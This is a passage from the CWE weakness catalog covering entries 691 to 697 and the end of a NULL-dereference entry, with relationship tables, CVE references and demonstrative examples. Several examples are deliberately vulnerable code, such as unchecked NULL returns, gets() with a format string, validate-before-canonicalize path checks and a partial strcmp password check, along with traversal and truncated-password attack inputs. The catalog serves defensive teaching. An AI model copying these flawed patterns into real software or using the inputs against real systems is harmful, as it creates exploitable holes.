The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		252	Unchecked Return Value	613

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Read Memory	
Availability	Modify Memory	
<i>In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.</i>		

Detection Methods

Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

Demonstrative Examples

Example 1:

The code below makes a call to the getUsername() function but doesn't check the return value before dereferencing (which may cause a NullPointerException).

Example Language: Java (Bad)

```
String username = getUsername();
if (username.equals(ADMIN_USER)) {
    ...
}
```

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C (Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).






Observed Examples

Reference	Description
CVE-2008-1052	Large Content-Length value leads to NULL pointer dereference when malloc fails. https://www.cve.org/CVERecord?id=CVE-2008-1052
CVE-2006-6227	Large message length field leads to NULL pointer dereference when malloc fails. https://www.cve.org/CVERecord?id=CVE-2006-6227
CVE-2006-2555	Parsing routine encounters NULL dereference when input is missing a colon separator. https://www.cve.org/CVERecord?id=CVE-2006-2555

Reference	Description
CVE-2003-1054	URI parsing API sets argument to NULL when a parsing failure occurs, such as when the Referer header is missing a hostname, leading to NULL dereference. https://www.cve.org/CVERecord?id=CVE-2003-1054
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference https://www.cve.org/CVERecord?id=CVE-2008-5183

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2386
MemberOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf		1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2476
MemberOf		1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2487
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP34-C	CWE More Specific	Do not dereference null pointers
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors
SEI CERT Perl Coding Standard	EXP32-PL	CWE More Specific	Do not ignore function return values

CWE-691: Insufficient Control Flow Management

Weakness ID : 691
Structure : Simple
Abstraction : Pillar




Description













The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf		1000	Research Concepts	2596
ParentOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	895
ParentOf		430	Deployment of Wrong Handler	1049

Nature	Type	ID	Name	Page
ParentOf		431	Missing Handler	1051
ParentOf		662	Improper Synchronization	1457
ParentOf		670	Always-Incorrect Control Flow Implementation	1484
ParentOf		696	Incorrect Behavior Order	1535
ParentOf		705	Incorrect Control Flow Scoping	1550
ParentOf		768	Incorrect Short Circuit Evaluation	1620
ParentOf		799	Improper Control of Interaction Frequency	1708
ParentOf		834	Excessive Iteration	1763
ParentOf		841	Improper Enforcement of Behavioral Workflow	1781
ParentOf		1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	2100
ParentOf		1279	Cryptographic Operations are run Before Supporting Units are Ready	2132
ParentOf		1281	Sequence of Processor Instructions Leads to Unexpected Behavior	2136

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C

(Bad)

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C

(Good)

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 2:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C (Bad)

```
if (condition==true)
    Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 3:

This function prints the contents of a specified file requested by a user.

Example Language: PHP (Bad)

```
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file && isOwnerOf($username,$filename)){
        echo $file;
        return true;
    }
    else{
        echo 'You are not authorized to view this file';
    }
    return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Observed Examples

Reference	Description
CVE-2019-9805	Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption. https://www.cve.org/CVERecord?id=CVE-2019-9805
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AIM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). https://www.cve.org/CVERecord?id=CVE-2014-1266
CVE-2011-1027	Chain: off-by-one error (CWE-193) leads to infinite loop (CWE-835) using invalid hex-encoded characters. https://www.cve.org/CVERecord?id=CVE-2011-1027

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	2428

Nature	Type	ID	Name	V	Page
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	40		Insufficient Process Validation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

CWE-692: Incomplete Denylist to Cross-Site Scripting

Weakness ID : 692

Structure : Chain

Abstraction : Compound

Description

The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed.

Chain Components

Nature	Type	ID	Name	Page
StartsWith	E	184	Incomplete List of Disallowed Inputs	466
FollowedBy	E	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	168

Extended Description

While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a denylist cannot keep track of all the variations. The "XSS Cheat Sheet" [REF-714] contains a large number of attacks that are intended to bypass incomplete denylists.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	E	184	Incomplete List of Disallowed Inputs	466

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity		
Availability		

Observed Examples

Reference	Description
CVE-2007-5727	Denylist only removes <SCRIPT> tag.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2007-5727
CVE-2006-3617	Denylist only removes <SCRIPT> tag. https://www.cve.org/CVERecord?id=CVE-2006-3617
CVE-2006-4308	Denylist only checks "javascript:" tag https://www.cve.org/CVERecord?id=CVE-2006-4308

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2556

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
71	Using Unicode Encoding to Bypass Validation Logic
80	Using UTF-8 Encoding to Bypass Validation Logic
85	AJAX Footprinting
120	Double Encoding
267	Leverage Alternate Encoding

References

[REF-714]RSnake. "XSS (Cross Site Scripting) Cheat Sheet". < <http://ha.ckers.org/xss.html> >.

CWE-693: Protection Mechanism Failure

Weakness ID : 693
Structure : Simple
Abstraction : Pillar

Description

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Extended Description



This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2596
ParentOf	B	182	Collapse of Data into Unsafe Value	462
ParentOf	B	184	Incomplete List of Disallowed Inputs	466

Nature	Type	ID	Name	Page
ParentOf		311	Missing Encryption of Sensitive Data	764
ParentOf		326	Inadequate Encryption Strength	803
ParentOf		327	Use of a Broken or Risky Cryptographic Algorithm	806
ParentOf		330	Use of Insufficiently Random Values	821
ParentOf		345	Insufficient Verification of Data Authenticity	858
ParentOf		357	Insufficient UI Warning of Dangerous Operations	887
ParentOf		358	Improperly Implemented Security Check for Standard	888
ParentOf		424	Improper Protection of Alternate Path	1031
ParentOf		602	Client-Side Enforcement of Server-Side Security	1359
ParentOf		653	Improper Isolation or Compartmentalization	1445
ParentOf		654	Reliance on a Single Factor in a Security Decision	1448
ParentOf		655	Insufficient Psychological Acceptability	1450
ParentOf		656	Reliance on Security Through Obscurity	1452
ParentOf		757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	1589
ParentOf		778	Insufficient Logging	1647
ParentOf		807	Reliance on Untrusted Inputs in a Security Decision	1723
ParentOf		1039	Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations	1882
ParentOf		1248	Semiconductor Defects in Hardware Logic with Security-Sensitive Implications	2060
ParentOf		1253	Incorrect Selection of Fuse Values	2069
ParentOf		1269	Product Released in Non-Release Configuration	2110
ParentOf		1278	Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques	2131
ParentOf		1291	Public Key Re-Use for Signing both Debug and Production Code	2157
ParentOf		1318	Missing Support for Security Features in On-chip Fabrics or Buses	2209
ParentOf		1319	Improper Protection against Electromagnetic Fault Injection (EM-FI)	2212
ParentOf		1326	Missing Immutable Root of Trust in Hardware	2224
ParentOf		1338	Improper Protections Against Hardware Overheating	2252

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Technology : ICS/OT (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		975	SFP Secondary Cluster: Architecture	888	2427
MemberOf		1370	ICS Supply Chain: Common Mode Frailties	1358	2528

Nature	Type	ID	Name	V	Page
MemberOf		1413	Comprehensive Categorization: Protection Mechanism Failure	1400	2563

Notes

Research Gap

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have significantly different types of weaknesses than the weaknesses that they are intended to prevent.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
17	Using Malicious Files
20	Encryption Brute Forcing
22	Exploiting Trust in Client
36	Using Unpublished Interfaces or Functionality
51	Poison Web Service Registry
57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
59	Session Credential Falsification through Prediction
65	Sniff Application Code
74	Manipulating State
87	Forceful Browsing
107	Cross Site Tracing
127	Directory Indexing
237	Escaping a Sandbox by Calling Code in Another Language
477	Signature Spoofing by Mixing Signed and Unsigned Content
480	Escaping Virtualization
668	Key Negotiation of Bluetooth Attack (KNOB)

CWE-694: Use of Multiple Resources with Duplicate Identifier

Weakness ID : 694

Structure : Simple

Abstraction : Base

Description

The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.


Extended Description

If the product assumes that each resource has a unique identifier, the product could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1307

Nature	Type	ID	Name	Page
ChildOf		99	Improper Control of Resource Identifiers ('Resource Injection')	249
ParentOf		102	Struts: Duplicate Validation Forms	252
ParentOf		462	Duplicate Key in Associative List (Alist)	1111

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2443
MemberOf		137	Data Neutralization Issues	2332
MemberOf		399	Resource Management Errors	2345

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.</i>	
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

Demonstrative Examples

Example 1:

These two Struts validation forms have the same name.

Example Language: XML

(Bad)

```
<form-validation>
  <formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
  </formset>
</form-validation>
```

It is not certain which form will be used by Struts. It is critically important that validation logic be maintained and kept in sync with the rest of the product.

Observed Examples

Reference	Description
CVE-2013-4787	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive. https://www.cve.org/CVERecord?id=CVE-2013-4787

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		984	SFP Secondary Cluster: Life Cycle	888	2432
MemberOf		1409	Comprehensive Categorization: Injection	1400	2556

Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).

CWE-695: Use of Low-Level Functionality

Weakness ID : 695

Structure : Simple

Abstraction : Base

Description

The product uses low-level functionality that is explicitly prohibited by the framework or specification under which the product is supposed to operate.

Extended Description

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1307
ParentOf		111	Direct Use of Unsafe JNI	272
ParentOf		245	J2EE Bad Practices: Direct Management of Connections	599
ParentOf		246	J2EE Bad Practices: Direct Use of Sockets	601
ParentOf		383	J2EE Bad Practices: Direct Use of Threads	942
ParentOf		574	EJB Bad Practices: Use of Synchronization Primitives	1308
ParentOf		575	EJB Bad Practices: Use of AWT Swing	1310
ParentOf		576	EJB Bad Practices: Use of Java I/O	1312

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1228	API / Function Errors	2503

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

Example Language: Java

(Bad)

```
class Echo {
    public native void runEcho();
    static {
        System.loadLibrary("echo");
    }
    public static void main(String[] args) {
        new Echo().runEcho();
    }
}
```

Example Language: C

(Bad)

```
#include <jni.h>
#include "Echo.h"//the java class above compiled with javah
#include <stdio.h>
JNIEXPORT void JNICALL
Java_Echo_runEcho(JNIEnv *env, jobject obj)
{
    char buf[64];
    gets(buf);
    printf(buf);
}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of `gets()`, which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities

in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

Example 2:

The following example opens a socket to connect to a remote server.

Example Language: Java




(Bad)

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Open a socket to a remote server (bad).
    Socket sock = null;
    try {
        sock = new Socket(remoteHostname, 3000);
        // Do something with the socket.
        ...
    } catch (Exception e) {
        ...
    }
}
```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API		2441
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices		2559

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
36	Using Unpublished Interfaces or Functionality

CWE-696: Incorrect Behavior Order

Weakness ID : 696

Structure : Simple

Abstraction : Class

Description

The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	I P	691	Insufficient Control Flow Management	1525
ParentOf	B	179	Incorrect Behavior Order: Early Validation	454
ParentOf	B	408	Incorrect Behavior Order: Early Amplification	1002
ParentOf	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1273
ParentOf	B	1190	DMA Device Enabled Too Early in Boot Phase	1987
ParentOf	B	1193	Power-On of Untrusted Execution Core Before Enabling Fabric Access Control	1995
ParentOf	B	1280	Access Control Check Implemented After Asset is Accessed	2134

Weakness Ordinalities**Primary :****Common Consequences**

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	

Demonstrative Examples**Example 1:**

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/"`.

*Example Language: Java**(Bad)*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/../"` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/"`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

*Example Language: Java**(Good)*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

Example 2:

This function prints the contents of a specified file requested by a user.

*Example Language: PHP**(Bad)*

```
function printFile($username,$filename){
    //read file into string
```

```
$file = file_get_contents($filename);
if ($file && isOwnerOf($username,$filename)){
    echo $file;
    return true;
}
else{
    echo 'You are not authorized to view this file';
}
return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Example 3:

Assume that the module `foo_bar` implements a protected register. The register content is the asset. Only transactions made by user id (indicated by signal `usr_id`) 0x4 are allowed to modify the register contents. The signal `grant_access` is used to provide access.

Example Language: Verilog

(Bad)

```
module foo_bar(data_out, usr_id, data_in, clk, rst_n);
output reg [7:0] data_out;
input wire [2:0] usr_id;
input wire [7:0] data_in;
input wire clk, rst_n;
wire grant_access;
always @ (posedge clk or negedge rst_n)
begin
    if (!rst_n)
        data_out = 0;
    else
        data_out = (grant_access) ? data_in : data_out;
        assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
end
endmodule
```

This code uses Verilog blocking assignments for `data_out` and `grant_access`. Therefore, these assignments happen sequentially (i.e., `data_out` is updated to new value first, and `grant_access` is updated the next cycle) and not in parallel. Therefore, the asset `data_out` is allowed to be modified even before the access control check is complete and `grant_access` signal is set. Since `grant_access` does not have a reset value, it will be meta-stable and will randomly go to either 0 or 1.

Flipping the order of the assignment of `data_out` and `grant_access` should solve the problem. The correct snippet of code is shown below.

Example Language: Verilog

(Good)





```
always @ (posedge clk or negedge rst_n)
begin
    if (!rst_n)
        data_out = 0;
    else
        assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
        data_out = (grant_access) ? data_in : data_out;
end
endmodule
```

Observed Examples

Reference	Description
CVE-2019-9805	Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption. https://www.cve.org/CVERecord?id=CVE-2019-9805
CVE-2007-5191	file-system management programs call the setuid and setgid functions in the wrong order and do not check the return values, allowing attackers to gain unintended privileges https://www.cve.org/CVERecord?id=CVE-2007-5191
CVE-2007-1588	C++ web server program calls Process::setuid before calling Process::setgid, preventing it from dropping privileges, potentially allowing CGI programs to be called with higher privileges than intended https://www.cve.org/CVERecord?id=CVE-2007-1588
CVE-2022-37734	Chain: lexer in Java-based GraphQL server does not enforce maximum of tokens early enough (CWE-696), allowing excessive CPU consumption (CWE-1176) https://www.cve.org/CVERecord?id=CVE-2022-37734

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2372
MemberOf		977	SFP Secondary Cluster: Design	888	2428
MemberOf		1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2484
MemberOf		1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	POS36-C	CWE More Abstract	Observe correct revocation order while relinquishing privileges

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

CWE-697: Incorrect Comparison

Weakness ID : 697
Structure : Simple
Abstraction : Pillar

Description

The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.

Extended Description

This Pillar covers several possibilities:












- the comparison checks one factor incorrectly;

- the comparison should consider multiple factors, but it does not check at least one of those factors at all;
- the comparison checks the wrong factor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf		1000	Research Concepts	2596
ParentOf		183	Permissive List of Allowed Inputs	464
ParentOf		185	Incorrect Regular Expression	469
ParentOf		581	Object Model Violation: Just One of Equals and Hashcode Defined	1321
ParentOf		1023	Incomplete Comparison with Missing Factors	1874
ParentOf		1024	Comparison of Incompatible Types	1877
ParentOf		1025	Comparison Using Wrong Factors	1878
ParentOf		1039	Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations	1882
ParentOf		1077	Floating Point Comparison with Incorrect Operator	1926
ParentOf		1254	Incorrect Comparison Logic Granularity	2071
CanFollow		481	Assigning instead of Comparing	1161

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Demonstrative Examples

Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

Example Language: Java

(Bad)

```
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```


Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C

(Bad)

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strcmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strcmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In AuthenticateUser(), the strcmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language:

(Attack)

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

